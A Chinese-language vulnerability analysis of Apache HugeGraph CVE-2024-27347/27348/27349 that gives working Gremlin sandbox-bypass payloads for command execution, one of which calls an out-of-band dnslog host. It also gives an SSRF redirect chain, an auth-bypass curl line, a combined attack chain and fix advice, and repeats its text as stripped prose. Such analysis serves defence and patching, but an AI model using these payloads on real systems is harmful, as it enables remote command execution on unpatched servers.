Apache HugeGraph-Server(CVE-2024-27347|27348|27349)漏洞分析
字数 1635 2025-08-03 16:43:40

Apache HugeGraph-Server 漏洞分析报告 (CVE-2024-27347/27348/27349)

1. 漏洞概述

Apache HugeGraph-Server 是一个快速、高度可扩展的图数据库系统,遵循 Apache TinkerPop 3 框架,支持通过 Gremlin 图遍历语言实现复杂图查询。在版本 1.0.0 至 1.3.0 之间发现了三个关键漏洞:

  1. CVE-2024-27348: 远程命令执行漏洞
  2. CVE-2024-27347: SSRF 漏洞
  3. CVE-2024-27349: 鉴权绕过漏洞

2. CVE-2024-27348: 远程命令执行漏洞

2.1 漏洞描述

HugeGraph-Server 在处理 Gremlin 查询时存在远程命令执行漏洞,攻击者可通过精心构造的 Gremlin 查询绕过安全沙箱限制,执行任意系统命令。

2.2 影响范围

  • Apache HugeGraph-Server: 1.0.0 至 1.3.0 之前版本

2.3 环境搭建

wget https://downloads.apache.org/incubator/hugegraph/{version}/apache-hugegraph-incubating-{version}.tar.gz
tar zxf *hugegraph*.tar.gz
# 修改 hugegraph.properties 文件
bin/start-hugegraph.sh

2.4 漏洞分析

2.4.1 漏洞触发点

通过以下接口发送 Gremlin 查询时存在漏洞:

curl -H "Content-Type: application/json" -X POST http://localhost:8080/gremlin -d @poc

poc 文件内容示例:

{
    "gremlin": "scriptEnginePaylod",
    "bindings": {},
    "language": "gremlin-groovy",
    "aliases": {}
}

最终会通过 org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine#eval 执行 Groovy 代码。

2.4.2 安全机制分析

项目实现了 HugeSecurityManager 类继承 SecurityManager,对危险操作进行限制,如 checkExec 方法会拦截命令执行。

2.4.3 绕过方法

  1. 反射绕过:默认配置未限制反射操作

    {
        "gremlin": "Class clz = Class.forName(\"java.lang.ProcessImpl\");java.lang.reflect.Method method=clz.getDeclaredMethod(\"start\",String[].class,Map.class,String.class,ProcessBuilder.Redirect[].class, boolean.class);String[] cmd = new String[2];cmd[0]=\"touch\";cmd[1]=\"/tmp/20231219\";method.setAccessible(true);method.invoke(clz,cmd,null,null,null,false);",
        "bindings": {},
        "language": "gremlin-groovy",
        "aliases": {}
    }
    
  2. 线程名修改绕过:修改线程名绕过安全检查

    {
        "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread,\"evil\");Runtime.getRuntime().exec(\"ping test.t28yhq.dnslog.cn\");",
        "bindings": {},
        "language": "gremlin-groovy",
        "aliases": {}
    }
    

3. CVE-2024-27347: SSRF 漏洞

3.1 影响范围

  • Apache HugeGraph-Hubble: 1.0.0 至 1.3.0 之前版本

3.2 漏洞利用场景

当目标不存在图时,可通过 Hubble 管理平台的 SSRF 漏洞间接攻击 HugeGraph-Server。

3.3 漏洞分析

  1. Hubble 发送 /versions GET 请求时,JerseyWebTarget 会跟随 30X 跳转
  2. 可构造恶意服务响应 301 跳转,控制跳转目标
  3. 利用跳转访问 HugeGraph-Server 的 Gremlin 接口执行命令

3.4 利用步骤

  1. 搭建恶意服务器 (如使用 mockoon) 监听 3000 端口
  2. 配置响应 301 跳转到目标 Gremlin 接口:
    Location: http://xx.xx.xx.xx:xx/gremlin?gremlin=Thread%20thread%20%3D%20Thread.currentThread()%3BClass%20clz%20%3D%20Class.forName(%22java.lang.Thread%22)%3Bjava.lang.reflect.Field%20field%20%3D%20clz.getDeclaredField(%22name%22)%3Bfield.setAccessible(true)%3Bfield.set(thread%2C%22evil%22)%3BSystem.getProperties()%3B
    
  3. 发送恶意请求:
    POST /api/v1.2/graph-connections HTTP/1.1
    Host: 172.27.64.135:8088
    Content-Length: 91
    Content-Type: application/json;charset=UTF-8
    
    {"name":"bb","graph":"aa","host":"172.27.64.1","port":"3000","username":"44","password":"44"}
    

4. CVE-2024-27349: 鉴权绕过漏洞

4.1 鉴权配置

gremlin-server.yaml 中配置:

authentication: {
  authenticator: org.apache.hugegraph.auth.StandardAuthenticator,
  authenticationHandler: org.apache.hugegraph.auth.WsAndHttpBasicAuthHandler,
  config: {tokens: conf/rest-server.properties}
}

rest-server.properties 配置:

auth.authenticator=org.apache.hugegraph.auth.StandardAuthenticator
auth.graph_store=hugegraph

4.2 鉴权绕过方法

利用 ; 分隔符绕过白名单检查:

curl "http://172.27.64.135:8080/graphs/hugegraph/auth/users;versions"

4.3 限制

虽然可以绕过部分 API 鉴权,但无法直接绕过 Gremlin 接口的鉴权,因为 HugeGraph 会构造新请求并再次验证。

5. 综合攻击链

  1. 发现暴露的 HugeGraph-Hubble 服务
  2. 分两种情况:
    • 存在图管理:直接发送恶意 Gremlin 查询绕过沙箱执行命令
    • 不存在图管理:利用 SSRF 漏洞间接攻击 HugeGraph-Server
  3. 如果目标开启鉴权:尝试使用 ; 分隔符绕过鉴权获取信息

6. 修复建议

  1. 升级到 HugeGraph-Server 1.3.0 或更高版本
  2. 加强安全沙箱对反射操作的检查
  3. 规范化 URI 路径处理,防止 ; 分隔符绕过
  4. 限制 Hubble 的 SSRF 可能性,如禁用跳转跟随
  5. 最小化网络暴露,避免管理界面直接暴露在公网

7. 参考

  • 原始漏洞分析文章
  • Apache HugeGraph 官方文档
  • Java 安全沙箱机制相关资料
Apache HugeGraph-Server 漏洞分析报告 (CVE-2024-27347/27348/27349) 1. 漏洞概述 Apache HugeGraph-Server 是一个快速、高度可扩展的图数据库系统,遵循 Apache TinkerPop 3 框架,支持通过 Gremlin 图遍历语言实现复杂图查询。在版本 1.0.0 至 1.3.0 之间发现了三个关键漏洞: CVE-2024-27348 : 远程命令执行漏洞 CVE-2024-27347 : SSRF 漏洞 CVE-2024-27349 : 鉴权绕过漏洞 2. CVE-2024-27348: 远程命令执行漏洞 2.1 漏洞描述 HugeGraph-Server 在处理 Gremlin 查询时存在远程命令执行漏洞,攻击者可通过精心构造的 Gremlin 查询绕过安全沙箱限制,执行任意系统命令。 2.2 影响范围 Apache HugeGraph-Server: 1.0.0 至 1.3.0 之前版本 2.3 环境搭建 2.4 漏洞分析 2.4.1 漏洞触发点 通过以下接口发送 Gremlin 查询时存在漏洞: poc 文件内容示例: 最终会通过 org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine#eval 执行 Groovy 代码。 2.4.2 安全机制分析 项目实现了 HugeSecurityManager 类继承 SecurityManager ,对危险操作进行限制,如 checkExec 方法会拦截命令执行。 2.4.3 绕过方法 反射绕过 :默认配置未限制反射操作 线程名修改绕过 :修改线程名绕过安全检查 3. CVE-2024-27347: SSRF 漏洞 3.1 影响范围 Apache HugeGraph-Hubble: 1.0.0 至 1.3.0 之前版本 3.2 漏洞利用场景 当目标不存在图时,可通过 Hubble 管理平台的 SSRF 漏洞间接攻击 HugeGraph-Server。 3.3 漏洞分析 Hubble 发送 /versions GET 请求时, JerseyWebTarget 会跟随 30X 跳转 可构造恶意服务响应 301 跳转,控制跳转目标 利用跳转访问 HugeGraph-Server 的 Gremlin 接口执行命令 3.4 利用步骤 搭建恶意服务器 (如使用 mockoon) 监听 3000 端口 配置响应 301 跳转到目标 Gremlin 接口: 发送恶意请求: 4. CVE-2024-27349: 鉴权绕过漏洞 4.1 鉴权配置 在 gremlin-server.yaml 中配置: rest-server.properties 配置: 4.2 鉴权绕过方法 利用 ; 分隔符绕过白名单检查: 4.3 限制 虽然可以绕过部分 API 鉴权,但无法直接绕过 Gremlin 接口的鉴权,因为 HugeGraph 会构造新请求并再次验证。 5. 综合攻击链 发现暴露的 HugeGraph-Hubble 服务 分两种情况: 存在图管理 :直接发送恶意 Gremlin 查询绕过沙箱执行命令 不存在图管理 :利用 SSRF 漏洞间接攻击 HugeGraph-Server 如果目标开启鉴权:尝试使用 ; 分隔符绕过鉴权获取信息 6. 修复建议 升级到 HugeGraph-Server 1.3.0 或更高版本 加强安全沙箱对反射操作的检查 规范化 URI 路径处理,防止 ; 分隔符绕过 限制 Hubble 的 SSRF 可能性,如禁用跳转跟随 最小化网络暴露,避免管理界面直接暴露在公网 7. 参考 原始漏洞分析文章 Apache HugeGraph 官方文档 Java 安全沙箱机制相关资料